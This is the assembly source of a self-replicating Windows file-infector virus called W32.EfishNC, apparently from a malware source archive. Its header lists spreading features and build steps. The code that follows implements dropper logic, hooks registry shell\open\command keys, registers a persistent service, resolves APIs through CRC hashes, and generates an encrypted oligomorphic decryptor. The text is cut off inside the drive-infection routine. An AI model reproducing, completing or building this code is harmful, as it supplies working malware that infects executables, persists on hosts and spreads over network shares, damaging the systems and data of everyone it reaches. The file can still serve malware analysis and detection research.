MalwareSourceCode/Win32/Infector/Win32.Efishnc.asm
2020-10-16 23:26:21 +02:00

3421 lines
128 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.ASM]ÄÄÄ
comment ;)
W32.EfishNC by roy g biv
some of its features:
- parasitic resident (own process) infector of PE exe/dll (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- EPO and xlat (unbreakable!) encryption with oligomorphic decryptor
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs on stack)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before :)
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 efishnc
tlink32 /B:400000 /x efishnc,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.486
.model flat
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
expnames db "WriteProcessMemory" , 0
db "WriteFile" , 0
db "WinExec" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA", 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "GetCurrentProcess" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
regnames db "RegSetValueA" , 0
db "RegCreateKeyA" , 0
db "RegCloseKey" , 0
db "OpenSCManagerA" , 0
db "CreateServiceA" , 0
db "CloseServiceHandle", 0
exenames db "LoadLibraryA" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetStartupInfoW", 0
db "GetStartupInfoA", 0
db "GetCommandLineW", 0
db "GetCommandLineA", 0
db "ExitProcess" , 0
db "CreateProcessW" , 0
db "CreateProcessA" , 0
usrnames db "CharNextW", 0
db "CharNextA", 0
svcnames db "StartServiceCtrlDispatcherA", 0
krnnames db "lstrlenW" , 0
db "lstrcpyW" , 0
db "lstrcatW" , 0
db "UnmapViewOfFile" , 0
db "Sleep" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetCurrentDirectoryW", 0
db "SetCurrentDirectoryA", 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "GetDriveTypeA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateThread" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
netnames db "WNetOpenEnumW" , 0
db "WNetOpenEnumA" , 0
db "WNetEnumResourceW", 0
db "WNetEnumResourceA", 0
db "WNetCloseEnum" , 0
ip9xnames db "NetShareEnum", 0
ipntnames db "NetShareEnum" , 0
db "NetApiBufferFree", 0
txttitle db "EfishNC", 0
txtbody db "running...", 0
include efishnc.inc
.code
dropper label near
mov edx, expcrc_count
mov ebx, offset expnames
mov edi, offset expcrcbegin
call create_crcs
mov edx, regcrc_count
mov ebx, offset regnames
mov edi, offset regcrcbegin
call create_crcs
mov edx, execrc_count
mov ebx, offset exenames
mov edi, offset execrcbegin
call create_crcs
mov edx, usrcrc_count
mov ebx, offset usrnames
mov edi, offset usrcrcbegin
call create_crcs
mov edx, svccrc_count
mov ebx, offset svcnames
mov edi, offset svccrcbegin
call create_crcs
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, sfccrc_count
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
mov edx, netcrc_count
mov ebx, offset netnames
mov edi, offset netcrcbegin
call create_crcs
mov edx, ip9xcrc_count
mov ebx, offset ip9xnames
mov edi, offset ip9xcrcbegin
call create_crcs
mov edx, ipntcrc_count
mov ebx, offset ipntnames
mov edi, offset ipntcrcbegin
call create_crcs
restore_loc label near
pushad
enter 0, 0
jmp efishnc_inf
db decsize - (offset $ - offset restore_loc) dup ('r')
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------
efishnc_inf proc near
cld ;decryptor can set D flag
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
expcrcbegin label near ;place < 80h bytes from call for smaller code
dd (expcrc_count + 1) dup (0)
expcrcend label near
dd offset drop_exp - offset expcrcend + 4
db "EfishNC - roy g biv" ;better, stronger, faster
walk_seh label near
xor esi, esi
lods dword ptr fs:[esi]
inc eax
seh_loop label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne seh_loop
lods dword ptr [esi]
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expordbase]
lods dword ptr [esi] ;Ordinal Base
lea ebp, dword ptr [eax * 2 + ebx]
lods dword ptr [esi]
lods dword ptr [esi]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
add ebp, dword ptr [esi] ;Ordinal Table RVA
lea ecx, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export ;must find all since WriteProcessMemory() needed to run host
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
dispname label near
db "Explorer", 0
explabel label near
db "ExpIorer.exe", 0
expsize equ 0d4h
;RLE-based compressed MZ header, PE header, import table, section table
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 88h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, (offset efishnc_exe - offset efishnc_inf + expsize) and 0ffh, ((efishnc_exe - offset efishnc_inf + expsize + 1000h) shr 8) and 0ffh
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000101010111100001111100b
; z 01mz 02mr 07mz 03mmm
db 2, 1, 4, "Arc"
dd 00001010000101000111100000101001b
; z 02mz 03mz 07mz 01r 02
db ((efishnc_codeend - offset efishnc_inf + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2
dd 10000111000011100001110000110101b
; mz 03mz 03mz 03mz 03r 04
db 1, 1, 1, 1
dd 10001110101001100101001111001111b
; mz 07r 04mmz 0ar 0er 0e
db 2, 8, 10h
dd 00010110000111000010100001101100b
; z 05mz 03mz 02mz 03r 08
db 10h, ((efishnc_codeend - offset efishnc_inf + expsize + 1ffh) and not 1ffh) shr 8, 1
dd 00011110000000000000000000000000b
; z 07m
db 60h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 88h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd offset efishnc_exe - offset efishnc_inf + expsize + 1000h
; ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db 1, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "Arc", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd expsize ;60 54 size of headers
; dd 0 ;64 58 checksum
; dw 2 ;68 5c subsystem
; db X, X ;6a 5e dll characteristics
; dd 1 ;6c 60 size of stack reserve
; dd 1 ;70 64 size of stack commit
; dd 1 ;74 68 size of heap reserve
; dd 1 ;78 6c size of heap commit
; db X, X, X, X ;7c 70 loader flags
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
; dd 0 ;84 78 export
; db X, X, X, X ;88 7c export
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; dd 0 ;94 88 resource
; db X, X, X, X ;98 8c resource
; db X, X, X, X, X, X, X, X ;9c 90 exception
; db X, X, X, X, X, X, X, X ;a4 98 certificate
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
; dd 0 ;b4 a8 debug (overload for virtual size)
; dd 1000h ;b8 ac debug (overload for virtual address)
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
; dd 1 ;c0 b4 architecture (overload for file offset)
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
; dd 60000000h ;d0 c4 tls (overload for section characteristics)
; ;d4
drop_exp label near
mov ebx, esp
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
mov edi, offset efishnc_codeend - offset efishnc_inf + expsize + 1ffh
;file size must be > end of last section
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push ebp ;CreateFileA
push FILE_ATTRIBUTE_HIDDEN ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
call dword ptr [ebx + expcrcstk.pDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + expcrcstk.pMoveFileA]
skip_move label near
call dword ptr [ebx + expcrcstk.pCreateFileA]
push edi ;WriteFile
push ebx
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
and dl, bl
shld ecx, eax, 4
rol ebx, cl
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset efishnc_codeend - offset efishnc_inf
sub esi, offset drop_exp - offset efishnc_inf
rep movs byte ptr [edi], byte ptr [esi]
pop ebx
push ebp
call dword ptr [ebx + expcrcstk.pWriteFile]
push ebp
call dword ptr [ebx + expcrcstk.pCloseHandle]
pop eax
push eax
inc ebp
je load_regdll ;allow only 1 copy to run
push 0
push eax
call dword ptr [ebx + expcrcstk.pWinExec]
load_regdll label near
sub esi, offset efishnc_codeend - offset regdll
push esi
call dword ptr [ebx + expcrcstk.pLoadLibraryA]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
regcrcbegin label near ;place < 80h bytes from call for smaller code
dd (regcrc_count + 1) dup (0)
regcrcend label near
dd offset reg_file - offset regcrcend + 4
regval db 'ExpIorer "%1" %*', 0
regkey db "\com" ;no regedit.com ;)
db "\exe" ;must be 4 bytes long
db "\pif" ;hook all executable suffix (except .scr which passes /S)
reg_file label near ;must follow immediately
mov ebx, esp
mov ecx, HKEY_LOCAL_MACHINE
;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------
reg_loopouter label near
lea ebp, dword ptr [edi + offset regval - offset reg_file]
sub edi, offset reg_file - offset regkey
push (offset reg_file - offset regkey) shr 2
pop esi
reg_loopinner label near
push ecx
push "dna"
push "mmoc"
push "\nep"
push "o\ll"
push "ehs\"
push "elif"
push dword ptr [edi] ;comfile, exefile, piffile
push "sess"
push "alc\"
push "eraw"
push "tfos" ;obfuscated ;)
mov eax, esp
push eax
push eax
push ecx
call dword ptr [ebx + regcrcstk.rRegCreateKeyA]
pop eax
add esp, 28h ;size software\classes\???file\shell\open\command - 4
push eax ;RegCloseKey
push offset regkey - offset regval
push ebp
push REG_SZ
push 0 ;default value
push eax
call dword ptr [ebx + regcrcstk.rRegSetValueA]
call dword ptr [ebx + regcrcstk.rRegCloseKey]
scas dword ptr [edi]
pop ecx
dec esi
jne reg_loopinner
loopw reg_loopouter ;decrements CX only
;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------
push SC_MANAGER_CREATE_SERVICE
push esi
push esi
call dword ptr [ebx + regcrcstk.rOpenSCManagerA]
mov ecx, dword ptr [ebx + size regcrcstk]
push ecx
push eax
push esi
push esi
push esi
push esi
push esi
push ecx
push esi ;SERVICE_ERROR_IGNORE
push SERVICE_AUTO_START
push SERVICE_WIN32_OWN_PROCESS
push esi
sub edi, offset reg_file - offset dispname
push edi
add edi, offset explabel - offset dispname
push edi
push eax
call dword ptr [ebx + regcrcstk.rCreateServiceA]
push eax
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
;-----------------------------------------------------------------------------
;restore host bytes
;-----------------------------------------------------------------------------
push eax
push esp
push decsize
call store_restore
orgbytes label near
db decsize dup (90h)
;-----------------------------------------------------------------------------
;WriteProcessMemory() is best to alter bytes because VirtualProtect() can fail
;-----------------------------------------------------------------------------
store_restore label near
mov esi, offset restore_loc
push esi
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGetCurrentProcess]
push eax
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pWriteProcessMemory]
store_popsize label near
add esp, 'rgb!'
org $ - 4
dd popsize
push esi
pop esi
popad
jmp dword ptr [esp - 24h] ;no stack change in ring 3
;(except in some debuggers)
;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------
efishnc_exe label near
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
execrcbegin label near ;place < 80h bytes from call for smaller code
dd (execrc_count + 1) dup (0)
execrcend label near
dd offset load_user32 - offset execrcend + 4
load_user32 label near
call skip_user32
db "user32", 0
skip_user32 label near
call dword ptr [esp + execrcstk.eLoadLibraryA + 4]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
usrcrcbegin label near ;place < 80h bytes from call for smaller code
dd (usrcrc_count + 1) dup (0)
usrcrcend label near
dd offset get_cmdline - offset usrcrcend + 4
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_cmdline label near
mov ebx, esp
call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
shr eax, 1fh
lea esi, dword ptr [eax * 4 + ebx]
;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------
mov ecx, dword ptr fs:[tib.TibTeb]
or byte ptr [ecx + teb.procflags + 1], al
;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------
dec eax
mov al, 0ffh
movzx edi, ax ;ffff if Unicode, 00ff if ANSI
call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]
stack_delta label near
mov ebp, dword ptr [eax]
and ebp, edi
cmp ebp, '"' ;Unicode-compatible compare
je skip_argv0
push ' '
pop ebp
skip_argv0 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
je argv1_skip
cmp ecx, ebp
jne skip_argv0
find_argv1 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1
argv1_skip label near
;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------
jecxz stack_copy
sub esp, size processinfo
mov edx, esp
sub esp, size startupinfo
mov ecx, esp
push edx
push ecx
xor edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push eax
push edx
push ecx
call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]
;-----------------------------------------------------------------------------
;copy to stack and run from there for no write-protection and dynamic resizing
;-----------------------------------------------------------------------------
stack_copy label near
call dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
;RNG seed
mov ebx, dword ptr [ebx + size usrcrcstk + execrcstk.eGlobalAlloc]
mov esi, 401000h + expsize ;entry point VA
entrsize equ ((offset efishnc_codeend - offset efishnc_inf - size usrcrcstk - size execrcstk - 1) and -4) \
+ ((statelen + 1) shl 2) ;include RNG cache
if entrsize ge 8192
error code size too large ;solution: use another enter after copy
endif
enter entrsize, 0
mov edi, esp
push ebx ;save for kernel base later
mov ecx, offset efishnc_codeend - offset efishnc_inf
lea ebp, dword ptr [edi + offset stack_exec - offset efishnc_inf]
rep movs byte ptr [edi], byte ptr [esi]
jmp ebp
stack_exec label near
;-----------------------------------------------------------------------------
;feersum endjinn - oligomorphic decryptor with random line order
;-----------------------------------------------------------------------------
call randinit
push decsize + tblsize + grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
push GMEM_ZEROINIT
call ebx
push eax
mov dword ptr [edi + store_decsrc - offset efishnc_codeend + 1], eax
add eax, decsize
mov ebx, eax
inc ah ;include old xlat table size
mov dword ptr [edi + store_copysrc - offset efishnc_codeend + 1], eax
push eax
xchg esi, eax
call random
and eax, grbgsize - 1
add esi, eax ;table offset
call random
and eax, grbgsize - 1
inc ah ;include new xlat table size
lea ebp, dword ptr [esi + eax] ;buffer offset
call random
test al, 1
je init_table
mov ebp, esi ;buffer offset
call random
and eax, randsize - 1
lea esi, dword ptr [ebp + eax + vsize]
;table offset
init_table label near
mov dword ptr [edi + offset store_encdst - offset efishnc_codeend + 1], ebp
mov ecx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
pop edi
init_buffer label near
call random
stos byte ptr [edi]
loop init_buffer
;-----------------------------------------------------------------------------
;bit table is constant time, and much faster than scasb with increasing range
;-----------------------------------------------------------------------------
fill_table label near
call random
movzx eax, al
bts dword ptr [ebx - (tblsize shr 3)], eax
jb fill_table ;already in table
mov byte ptr [ebx + ecx], al
inc cl
jne fill_table ;fill with 256 unique values
pop edi
push ebp ;buffer offset
transform label near
mov al, cl
xlat byte ptr [ebx]
mov byte ptr [esi + eax], cl
inc cl
jne transform
call random
and eax, (randsize - 1) and -4 ;dword align
mov ecx, eax ;random extra size
add ax, small vsize ;64kb limit
mov ebp, eax ;enter size
add ax, popsize
mov dword ptr [esp + offset store_popsize - offset efishnc_inf + 0ah], eax
call random
and eax, state_decdown
xchg ebx, eax
call random
and al, state_esifirst
or bl, al
call random
and al, state_pushret
je skip_pushb
or bl, al
call random
test bl, state_decdown
jne skip_pushb
and al, state_pushb
or bl, al
skip_pushb label near
call random
and al, state_movesi
or bl, al
call random
and al, state_movedi
or bl, al
call random
and al, state_jg
or bl, al
mov al, 60h ;pushad
stos byte ptr [edi]
store_block1 label near
call random
and eax, block1and
cmp al, block1cmp
jnb store_block1
call callblock1
;-----------------------------------------------------------------------------
;block 1 contains: mov ebx/esi, lea esi/ebx, enter, mov edi
;std (if down direction) and possibly push (if using ret to jump)
;example 1:
;enter vsize + random size, 0
;std
;mov esi, offset encrypted block end + random size
;push esp
;mov edi, ebp
;lea ebx, dword ptr [esi + offset xlat table]
;example 2:
;mov ebx, offset xlat table
;enter vsize + random size, 0
;lea esi, dword ptr [ebx + offset encrypted block begin]
;mov edi, esp
;-----------------------------------------------------------------------------
procblock1 label near
dw offset storeebx - offset procblock1
dw offset storeesi - offset procblock1
dw offset storeenter - offset procblock1
dw offset storeedi - offset procblock1
dw offset storestd - offset procblock1
dw offset storepushb - offset procblock1
callblock1 label near
pop edx
movzx eax, word ptr [eax * 2 + edx]
add eax, edx
call eax
cmp bh, block1done
jne store_block1
pop eax
and bx, (not state_esifirst) and 0ffh
mov ebp, edi ;loop label
store_block2 label near
call random
and eax, block2and
cmp al, block2cmp
jnb store_block2
call callblock2
;-----------------------------------------------------------------------------
;block 2 contains: load, xlat, store, cmp, branch
;inc esi (if using mov esi), inc edi (if using mov edi)
;possibly push (if using ret to jump) and ret, or jmp esp
;example 1:
;lods byte ptr [esi]
;xlat byte ptr [ebx]
;mov byte ptr [edi], al
;inc edi
;cmp edi, ebp
;jl label
;push esp
;ret
;example 2:
;mov al, byte ptr [esi]
;xlat byte ptr [ebx]
;dec esi
;mov byte ptr [edi], al
;dec edi
;cmp esp, edi
;jle label
;jmp esp
;-----------------------------------------------------------------------------
procblock2 label near
dw offset storelods - offset procblock2
dw offset storexlat - offset procblock2
dw offset storestos - offset procblock2
dw offset storeincs - offset procblock2
dw offset storeincd - offset procblock2
dw offset storecmp - offset procblock2
dw offset storejne - offset procblock2
dw offset storepushe - offset procblock2
dw offset storeret - offset procblock2
callblock2 label near
pop ecx
movzx eax, word ptr [eax * 2 + ecx]
add eax, ecx
call eax
test bl, 1 shl state_ret
je store_block2
pop edi
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset swap_create - offset krncrcend + 4
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
swap_create label near
mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call cLoadLibraryA
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call cLoadLibraryA
pop ecx
test eax, eax
je sfcapi_esp
found_sfc label near
push edi
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd (sfccrc_count + 1) dup (0)
sfccrcend label near
dd offset sfcapi_pop - offset sfccrcend + 4
sfcapi_pop label near
pop eax
pop edi
sfcapi_esp label near
mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax
;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------
push 'rpm'
push esp
call cLoadLibraryA
pop ecx
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
netcrcbegin label near ;place < 80h bytes from call for smaller code
dd (netcrc_count + 1) dup (0)
netcrcend label near
dd offset netapi_esp - offset netcrcend + 4
netapi_esp label near
mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax
;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------
call cGetVersion
shr eax, 1fh
jne svc_main ;no service if 9x/Me
push eax
push eax
lea eax, dword ptr [edi + offset regdll - offset netapi_esp]
push eax
call cLoadLibraryA
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
svccrcbegin label near ;place < 80h bytes from call for smaller code
dd (svccrc_count + 1) dup (0)
svccrcend label near
dd offset start_disp - offset svccrcend + 4
start_disp label near
pop eax
mov ecx, esp
add edi, offset svc_main - offset start_disp
push edi
push ecx
push esp
call eax ;does not return if service launch
add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch
svc_main label near
push eax
push esp
xor esi, esi
push esi
push esi
call create_thr1
;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------
find_drives proc near
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
drive_loop label near
push eax
push esp
